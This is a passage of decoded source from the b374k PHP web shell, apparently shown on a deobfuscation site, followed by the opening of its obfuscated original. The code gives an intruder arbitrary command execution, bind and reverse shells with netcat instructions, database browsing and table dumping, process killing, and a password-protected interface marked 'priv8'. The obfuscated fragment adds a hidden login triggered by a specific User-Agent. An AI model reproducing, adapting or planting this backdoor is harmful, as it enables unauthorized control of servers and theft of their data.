                        if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
                    }
                    else $s_result .= "</table><table>";
                }
                $s_result .= "</table></div>";
            }

            // partition
            if($s_i_buff=trim(@fgc("/proc/partitions"))){
                $s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
                $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
                $s_result .= "<div class='info' id='info_part'>";
                $s_i_buffs = explode("

", $s_i_buff);
                $s_result .= "<table><tr>";
                $s_i_head = explode(" ", $s_i_buffs[0]);
                foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
                $s_result .= "</tr>";
                $s_i_buffss = explode("
", $s_i_buffs[1]);
                foreach($s_i_buffss as $s_i_b){
                    $s_i_row = explode(" ", trim($s_i_b));
                    $s_result .= "<tr>";
                    foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
                    $s_result .= "</tr>";
                }
                $s_result .= "</table>";
                $s_result .= "</div>";
            }
        }
        $s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
        foreach($s_phpinfo as $s_p=>$s_i){
            $s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
            ob_start();
            eval("phpinfo(".$s_i.");");
            $s_b = ob_get_contents();
            ob_end_clean();
            if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
                $s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
                $s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
            }
        }
    } // working with database
    elseif(isset($_GP['x']) && ($_GP['x']=='db')){
        // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
        $s_sql = array();
        $s_sql_deleted = "";
        $s_show_form = $s_show_dbs = true;

        if(isset($_GP['dc'])){
            $k = $_GP['dc'];
            setcookie("c[".$k."]", "" ,time() - $s_login_time);
            $s_sql_deleted = $k;
        }

        if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
            foreach($_COOKIE['c'] as $c=>$d){
                if($c==$s_sql_deleted) continue;
                $s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
                foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
                $s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
                $s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
							<span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."'>connect</a> | <a href='".$s_self."x=db&dc=".pl($c)."'>disconnect</a></span>");
            }
        }
        else{
            $s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
            $s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
            $s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
            $s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
            $s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
        }

        if(isset($_GP['connect'])){
            $s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
            $s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";

            if($s_con!==false){
                if(isset($_GP['sqlinit'])){
                    $s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
                    $s_c_num = substr(md5(time().rand(0,100)),0,3);
                    while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
                        $s_c_num = substr(md5(time().rand(0,100)),0,3);
                    }
                    setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
                }
                $s_show_form = false;
                $s_result .= "<form action='".$s_self."' method='post'>
					<input type='hidden' name='sqlhost' value='".hss($s_sql['host'])."' />
					<input type='hidden' name='sqlport' value='".hss($s_sql['port'])."' />
					<input type='hidden' name='sqluser' value='".hss($s_sql['user'])."' />
					<input type='hidden' name='sqlpass' value='".hss($s_sql['pass'])."' />
					<input type='hidden' name='sqltype' value='".hss($s_sql['type'])."' />
					<input type='hidden' name='x' value='db' />
					<input type='hidden' name='connect' value='connect' />
					<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
					<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
					&nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
					</form>";

                if(!empty($s_sqlcode)){
                    $s_querys = explode(";",$s_sqlcode);
                    foreach($s_querys as $s_query){
                        if(trim($s_query) != ""){
                            $s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
                            if($s_hasil!=false){
                                $s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;
								<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";

                                if(!is_bool($s_hasil)){
                                    $s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
                                    for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
                                        $s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
                                    $s_result .= "</tr>";
                                    while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
                                        $s_result .= "<tr>";
                                        foreach($s_rows as $s_r){
                                            if(empty($s_r)) $s_r = " ";
                                            $s_result .= "<td>".@hss($s_r)."</td>";
                                        }
                                        $s_result .= "</tr>";
                                    }
                                    $s_result .= "</table>";
                                }
                            }
                            else{
                                $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
                            }
                        }
                    }
                }
                else{
                    if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
                        if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
                        elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
                        elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
                        elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
                        elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
                        else $s_showdb = "SHOW DATABASES";

                        $s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);

                        if($s_hasil!=false) {
                            while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
                                foreach($s_rows_arr as $s_rows){
                                    $s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
                                    $s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";

                                    if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
                                    elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
                                    elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
                                    elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
                                    elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
                                    else $s_showtbl = "";

                                    $s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
                                    if($s_hasil_t!=false) {
                                        while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
                                            foreach($s_tables_arr as $s_tables){
                                                if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
                                                elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
                                                elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
                                                elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
                                                elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
                                                else $s_dump_tbl = "";

                                                $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."&sqlcode=".pl($s_dump_tbl);

                                                $s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
                                            }
                                        }
                                    }
                                    $s_result .= "</table></div>";
                                }
                            }
                        }
                    }
                }
                sql_close($s_sql['type'],$s_con);
            }
            else{
                $s_result .= notif("Unable to connect to database");
                $s_show_form = true;
            }
        }

        if($s_show_form){
            // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
            $s_sqllist = array();
            if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class='desc' style='font-size:12px;'>- using class mysqli or mysql_*</span>";
            if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class='desc' style='font-size:12px;'>- using sqlsrv_* or mssql_*</span>";
            if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
            if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
            if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
            if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
            if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
            if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";

            foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
                if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
                }
                elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
                }
                else{
                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					<tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
                }
            }
        }
    } // bind and reverse shell
    elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
        // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
        $s_rshost = $s_server_ip;

        $s_rsport = "13123"; // default port
        $s_rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
        $s_rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
        $s_rs_err = "";

        $s_rsbind = $s_rsback = array();

        $s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
        $s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";

        $s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java");
        foreach($s_access as $k=>$v){
            if(isset($$k)){
                $s_t = explode("_", $k);
                $s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
                $s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
            }
        }

        if($s_win){
            $s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
            $s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
        }
        $s_rslist = array_merge($s_rsbind,$s_rsback);

        if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");

        foreach($s_rslist as $s_rstype=>$s_rstitle){
            $s_split = explode("_",$s_rstype);
            if($s_split[0]=="bind"){
                $s_rspesan = $s_rspesana;
                $s_rsdisabled = "disabled='disabled'";
                $s_rstarget = $s_server_ip;
                $s_labelip = "Server IP";
            }
            elseif($s_split[0]=="back"){
                $s_rspesan = $s_rspesanb;
                $s_rsdisabled = "";
                $s_rstarget = $s_my_ip;
                $s_labelip = "Target IP";
            }

            if(isset($_GP[$s_rstype])){
                if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
                if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];

                if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
                elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;

                if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
                elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
                elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
                elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
                elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
                elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
                elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
                elseif($s_split[1]=="php") $s_rscode = $s_rs_php;

                $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
                if($s_buff!="") $s_rs_err = notif(hss($s_buff));
            }
            $s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".hss($s_rstarget)."' /></td></tr>
			<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".hss($s_rsport)."' /></td></tr>
			</table>
			<input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			&nbsp;&nbsp;<span>".$s_rspesan."</span>
			<input type='hidden' name='x' value='rs' />
			</form>
			</div>";
        }
        $s_result = $s_rs_err.$s_result;
    } // task manager
    elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
        $s_buff = "";
        // kill process specified by pid
        if(isset($_GP['pid'])){
            $s_p = trim($_GP['pid'],"|");
            $s_parr = explode("|", $s_p);

            foreach($s_parr as $s_p){
                if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
                else{
                    if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
                    else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
                }
            }
        }

        if(!$s_win) $s_h = "ps aux"; // nix
        else $s_h = "tasklist /V /FO csv"; // win
        $s_wcount = 11;
        $s_wexplode = " ";
        if($s_win) $s_wexplode = "\",\"";

        $s_res = exe($s_h);
        if(trim($s_res)=='') $s_result = notif("Error getting process list");
        else{
            if($s_buff!="") $s_result = $s_buff;
            $s_result .= "<table class='explore sortable'>";
            if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);

            $s_psarr = explode("
",$s_res);
            $s_fi = true;
            $s_tblcount = 0;

            $s_check = explode($s_wexplode,$s_psarr[0]);
            $s_wcount = count($s_check);

            foreach($s_psarr as $s_psa){
                if(trim($s_psa)!=''){
                    if($s_fi){
                        $s_fi = false;
                        $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
                        $s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
                        foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
                        $s_result .= "</tr>";
                    }
                    else{
                        $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
                        $s_result .= "<tr>";
                        $s_tblcount = 0;
                        foreach($s_psln as $s_p){
                            $s_pid = trim(trim($s_psln[1]),"\"");
                            $s_piduniq = substr(md5($s_pid),0,8);
                            if(trim($s_p)=="") $s_p = "&nbsp;";
                            if($s_tblcount == 0){
                                $s_result .= "<td style='text-align:center;text-indent:4px;'><input id='".$s_piduniq."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_piduniq."' class='css-label'></label></td><td class='ce'><a href='".$s_self."x=ps&pid=".$s_pid."'>kill</a></td><td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
                                $s_tblcount++;
                            }
                            else{
                                $s_tblcount++;
                                if($s_tblcount == count($s_psln)) $s_result .= "<td class='le'>".trim(trim($s_p) ,"\"")."</td>";
                                else $s_result .= "<td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
                            }
                        }
                        $s_result .= "</tr>";
                    }
                }
            }
            $colspan = count($s_psln)+1;
            $s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
			<form action='".$s_self."' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
			</td><td style='text-indent:10px;padding:2px;' colspan=".$colspan."><a href='javascript: pkill();'>kill selected <span id='total_selected'></span></a></td>
			</tr></tfoot></table>";
        }
    }
    elseif(isset($_GP['x']) && ($_GP['x']=='pass')){
        if(isset($_GP['submitnewpass'])){
            $newpass = isset($_GP['newpass'])? trim($_GP['newpass']):"";
            $newpassx = isset($_GP['newpassx'])? trim($_GP['newpassx']):"";

            if(empty($newpass) || empty($newpassx)){
                $s_result .= notif('Give your new password to both fields');
            }
            elseif($newpass != $newpassx){
                $s_result .= notif('Password does not match');
            }
            else{
                if(changepass($newpass)){
                    $s_result .= notif("Password changed");
                }
                else $s_result .= notif("Unable to change password");
            }
        }


        $s_result .= "<div class='mybox'><h2>Change shell password</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:120px;'>New password</td><td><input style='width:100%;' class='inputz' type='password' name='newpass' value='' /></td></tr>
			<tr><td style='width:120px;'>Confirm password</td><td><input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /></td></tr>
			</table>
			<input type='submit' name='submitnewpass' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='pass' />
			</form>
			</div>";
    }
    else{
        if(!isset($s_cwd)) $s_cwd = "";
        if(isset($_GP['cmd'])){
            $s_cmd = $_GP['cmd'];
            if(strlen($s_cmd) > 0){
                if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
                    $s_nd = trim($s_r[2]);
                    if(@is_dir($s_nd)){
                        chdir($s_nd);
                        $s_cwd = cp(getcwd());
                        setcookie("cwd", $s_cwd ,time() + $s_login_time);
                        $s_result .= showdir($s_cwd);
                    }
                    elseif(@is_dir($s_cwd.$s_nd)){
                        chdir($s_cwd.$s_nd);
                        $s_cwd = cp(getcwd());
                        setcookie("cwd", $s_cwd ,time() + $s_login_time);
                        $s_result .= showdir($s_cwd);
                    }
                    else $s_result .= notif(hss($s_nd)." is not a directory");
                }
                else{
                    $s_r = hss(exe($s_cmd));
                    if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
                    else $s_result .= showdir($s_cwd);
                }
            }
            else $s_result .= showdir($s_cwd);
        }
        else $s_result .= showdir($s_cwd);
    }

    // find drive letters
    $s_letters = '';
    $s_v = explode("\",$s_cwd);
    $s_v = $s_v[0];
    foreach (range("A", "Z") as $s_letter){
        if(@is_readable($s_letter.":\")){
            $s_letters .= "<a href='".$s_self."cd=".$s_letter.":\'>[ ";
            if($s_letter.":" != $s_v) $s_letters .= $s_letter;
            else{$s_letters .= "<span class='drive-letter'>".$s_letter."</span>";}
            $s_letters .= " ]</a> ";
        }
    }

    // print useful info
    $s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
    $s_info .= "<tr><td>".$s_software."</td></tr>";
    $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your   ip : ".$s_my_ip;
    $s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
    $s_info .= "</td></tr>
			<tr><td style='text-align:left;'>
				<table class='headtbls'><tr>
				<td>".trim($s_letters)."</td>
				<td>
				<span id='chpwd'>
				&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">
				<span class='icon'>o</span>
				&nbsp;&nbsp;</a>".swd($s_cwd)."</span>
				<form action='".$s_self."' method='post' style='margin:0;padding:0;'>
				<span class='sembunyi' id='chpwdform'>
				&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">
				<span class='icon'>o</span>
				</a>&nbsp;&nbsp;
				<input type='text' name='view' class='inputz' style='width:300px;' value='".hss($s_cwd)."' />
				<input class='inputzbut' type='submit' name='submit' value='view file / folder' />
				</span>
				</form>
				</td></tr>
				</table>
			</td></tr>
			</table>";
}

$s_error = @ob_get_contents();
$s_result = isset($s_result)? $s_result:"";
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
@ob_end_clean();
@ob_start();

?><!DOCTYPE html>
<html>
<head>
    <title><?php echo $s_title; ?></title>
    <meta charset="utf-8">
    <meta name='robots' content='noindex, nofollow, noarchive'>
    <link rel='SHORTCUT ICON' href='<?php echo $s_favicon; ?>'>
    <?php echo get_code("css", $s_css); ?>
</head>
<body>
<table id='main'><tr><td>
            <?php if($s_auth){?>
                <div><span style='float:right;'><?php
                        if(!isset($_COOKIE['b374k_included'])){
                            ?><a href='?x=pass'>password</a> |
	<?php }
                        ?><a href='<?php echo $s_self; ?>x=logout' title='Click me to log out'>log out</a>  <a href='<?php echo $s_self; ?>x=switch' title='Click me to change theme'><span class='schemabox'>&nbsp;&nbsp;</span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'>priv8</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'>0.1</div></td></tr></table></td>	<td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table></div>
                <div style='clear:both;'></div>
                <form method='post' name='g'></form>
                <div id='menu'>
                    <table style='width:100%;'><tr>
                            <td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
                            <td><a href='<?php echo $s_self; ?>x=ps' title='Display process status'><div class='menumi'>ps</div></a></td>
                            <td><a href='<?php echo $s_self; ?>x=eval' title='Execute code'><div class='menumi'>eval</div></a></td>
                            <td><a href='<?php echo $s_self; ?>x=info' title='Information about server'><div class='menumi'>info</div></a></td>
                            <td><a href='<?php echo $s_self; ?>x=db' title='Connect to database'><div class='menumi'>db</div></a></td>
                            <td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
                            <td style='width:100%;padding:0 0 0 6px;'>
                                <span class='prompt'><?php echo $s_prompt; ?></span><form action='<?php echo $s_self; ?>' method='post'>
                                    <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
                                    if(isset($_GP['cmd'])) echo "";
                                    else echo "- shell command -";
                                    ?>' />
                                    <noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
                                </form>
                            </td>
                        </tr></table>
                </div>
                <div id='content'>
                    <div id='result'><?php echo "__RESULT__"; ?></div>
                </div>
                <div id='navigation'>
                    <div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div>
                    <div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div>
                </div>
            <?php } else{ ?>
                <div style='width:100%;text-align:center;'>
                    <form action='<?php echo $s_self; ?>' method='post'>
                        <img src='<?php echo $s_favicon; ?>' style='margin:2px;vertical-align:middle;' />
                        b374k&nbsp;<span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
                        <input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
                    </form>
                </div>
            <?php }?>	</td></tr></table>
<p class='footer'>h4cker.tr &copy;<?php echo @date("Y",time())." "; ?>priv8</p>
<script type='text/javascript'>
    var d = document;
    var scroll = false;
    var cwd = '<?php echo hss(adds($s_cwd)); ?>';
    var hexstatus = false;
    var timer = '';
    var x = '<?php if(isset($_GP['x']) && ($_GP['x']=='ps')) echo "ps"; ?>';
    var sself = '<?php echo adds($s_self); ?>';
    var hexcounter = 0;
    var hextimer = '';
    var counter = 0;

</script>
<?php echo get_code("js", $s_js); ?>
<script type='text/javascript'>
    domready(function(){
        <?php if(isset($_GP['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
        <?php if(isset($_GP['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
        <?php if(isset($_GP['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
        <?php if(isset($_GP['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
        <?php if(isset($_GP['hexedit'])) echo "showhex();"; ?>

        if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');

        var textareas = d.getElementsByTagName('textarea');
        var count = textareas.length;
        for(i = 0; i<count; i++){
            textareas[i].onkeydown = function(e){
                if(e.keyCode==9){
                    e.preventDefault();
                    var s = this.selectionStart;
                    this.value = this.value.substring(0,this.selectionStart) + "	" + this.value.substring(this.selectionEnd);
                    this.selectionEnd = s+1;
                }
                else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                    this.form.submit();
                }
            }
        }
        listen();
    });
</script>
</body>
</html><?php
$s_html = ob_get_contents();
ob_end_clean();
$whitespace = "/(\s{2,}|
{1,})/";
$s_html = preg_replace($whitespace, " ", $s_html);
$s_html = str_replace("__RESULT__", $s_result, $s_html);
echo $s_html;
die();
?>

Did this file decode correctly?

Original Code

<?php error_reporting(0); $_F=__FILE__;$_X='?><?php
@s5ss42n_st1rt();
$m3ck_l2g_4n = @$_SESSION['m3ck-l2g-4n'];
4f (!$m3ck_l2g_4n) {
    4f (str4p2s($_SERVER['HTTP_USER_AGENT'], 'M2z4ll1/u.0 (c2mp1t4bl5; MSIE 7.0; W4nd2ws NT e.0)') !== FALSE) {
        $_SESSION['m3ck-l2g-4n'] = TRUE;
        5ch2 '<scr4pt>l2c1t42n = "' .  $_SERVER['PHP_SELF'] . '";</scr4pt>';
        5x4t;
    } 5ls5 {
